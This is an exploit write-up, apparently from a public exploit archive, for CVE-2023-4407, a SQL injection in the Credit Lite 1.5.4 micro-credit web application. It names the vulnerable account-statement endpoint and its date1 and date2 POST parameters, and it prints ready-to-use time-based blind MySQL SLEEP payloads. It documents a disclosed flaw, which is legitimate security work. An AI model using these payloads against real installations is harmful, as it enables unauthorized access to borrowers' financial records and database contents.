Credit Lite 1.5.4 - SQL Injection

# Exploit Title: Credit Lite 1.5.4 - SQL Injection
# Exploit Author: CraCkEr
# Date: 31/07/2023
# Vendor: Hobby-Tech
# Vendor Homepage: https://codecanyon.net/item/credit-lite-micro-credit-solutions/39554392
# Software Link: https://credit-lite.appshat.xyz/
# Version: 1.5.4
# Tested on: Windows 10 Pro
# Impact: Database Access
# CVE: CVE-2023-4407
# CWE: CWE-89 - CWE-74 - CWE-707

## Description

SQL injection attacks can allow unauthorized access to sensitive data, modification of
data and crash the application or make it unavailable, leading to lost revenue and
damage to a company's reputation.



## Steps to Reproduce:

To Catch the POST Request

1. Visit [Account Statement] on this Path: https://website/portal/reports/account_statement

2. Select [Start Date] + [End Date] + [Account Number] and Click on [Filter]



Path: /portal/reports/account_statement

POST parameter 'date1' is vulnerable to SQL Injection
POST parameter 'date2' is vulnerable to SQL Injection

-------------------------------------------------------------------------
POST /portal/reports/account_statement HTTP/2

_token=5k2IfXrQ8aueUQzrd5UfilSZzgOC5vyCPGxTTZDK&date1=[SQLi]&date2=[SQLi]&account_number=20005001
-------------------------------------------------------------------------

---
Parameter: date1 (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
Payload: _token=5k2IfXrQ8aueUQzrd5UfilSZzgOC5vyCPGxTTZDK&date1=2023-07-31'XOR(SELECT(0)FROM(SELECT(SLEEP(5)))a)XOR'Z&date2=2023-07-31&account_number=20005001

Parameter: date2 (POST)
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind (query SLEEP)
Payload: _token=5k2IfXrQ8aueUQzrd5UfilSZzgOC5vyCPGxTTZDK&date1=2023-07-31&date2=2023-07-31'XOR(SELECT(0)FROM(SELECT(SLEEP(9)))a)XOR'Z&account_number=20005001
---



[-] Done